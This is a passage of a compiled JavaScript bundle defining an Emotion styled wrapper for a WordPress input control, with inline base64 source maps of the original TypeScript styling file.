RlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */");
24671 };
24672 var PrefixSuffixWrapper = /* @__PURE__ */ createStyled("div", false ? {
24673 target: "em5sgkm0"
24674 } : {
24675 target: "em5sgkm0",
24676 label: "PrefixSuffixWrapper"
24677 })(prefixSuffixWrapperStyles, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1VzZDIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3